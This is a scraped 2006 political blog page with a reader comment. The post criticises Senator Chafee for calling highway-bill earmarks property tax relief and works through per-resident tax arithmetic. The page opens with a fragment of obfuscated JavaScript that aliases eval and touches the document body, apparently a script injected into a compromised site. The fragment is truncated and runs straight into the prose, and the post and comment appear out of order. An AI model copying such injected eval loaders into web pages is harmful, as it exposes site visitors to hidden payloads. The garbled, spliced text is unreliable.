.split(","));aqwpug=eval;function dabdds(){cfgs=function(){--(bvsauh.body)}()}bvsauh=document;for(khs=0;khs Marc notes how Senator Chafee "label[ed] Federal tax dollars to local/state government...as property tax relief" in a recent debate with Mayor Laffey. Earmarks as a form of property tax relief: What an economically ignorant statement! Here is why: An earlier posting entitled Senator Chafee: Is This How You Define Fiscal Conservatism? stated: The true cost of the highway bill projects is the hidden cost effect of the highway bill that our elected officials will never talk about: Rhode Island residents are paying a pro rata cost for every single project across the entire United States as the price for getting their highway bill projects. …the tax burden for Rhode Islanders from the highway bill equals roughly $1 billion ($1,000 per resident x 1 million state residents). That $1 billion bought us $150 million of special projects. I am sure there are some hidden nuances in that pork-laden bill that will accrue to the benefit of Rhode Islanders. But, even if there are, remember there would have to be $850 million of nuances (a multiple of 5.67) just to get to tax payment breakeven for Rhode Island residents. So, during the upcoming campaign, when Senator Chafee takes a photo opportunity with one of the highway bill projects and touts how he brought home the bacon for us, remember that Rhode Island residents will be paying as much as $6.67 per person in extra taxes for every $1 of projects proudly boasted about by Chafee... Some relief. Excellent analysis, Donald. The only reason that Chafee has taken a sudden interest into referring to his pork barrel spending as "property tax relief," is that he has been trying remind people that Mayor Laffey was forced to raise property taxes in Cranston (of course, always seeming to neglect any mention the context by which that had to be done). It is a most convoluted argument to say the least, and is by no means original. The Narragansett Indian Tribe and Harrah's have been using that pitch to voters for a while now, in trying to justify amending our state constitution to allow them to have a monopoly to operate Rhode Island's only casino. Hopefully, not enough people will be fooled in either case.August 28, 2006
Senator Chafee: Earmarks are a Form of Property Tax Relief
Senator Chafee voted for the highway bill. Since one of his key campaign positions is fiscal conservatism, I thought it might be useful to do some math on the true cost of those state projects to Rhode Islanders.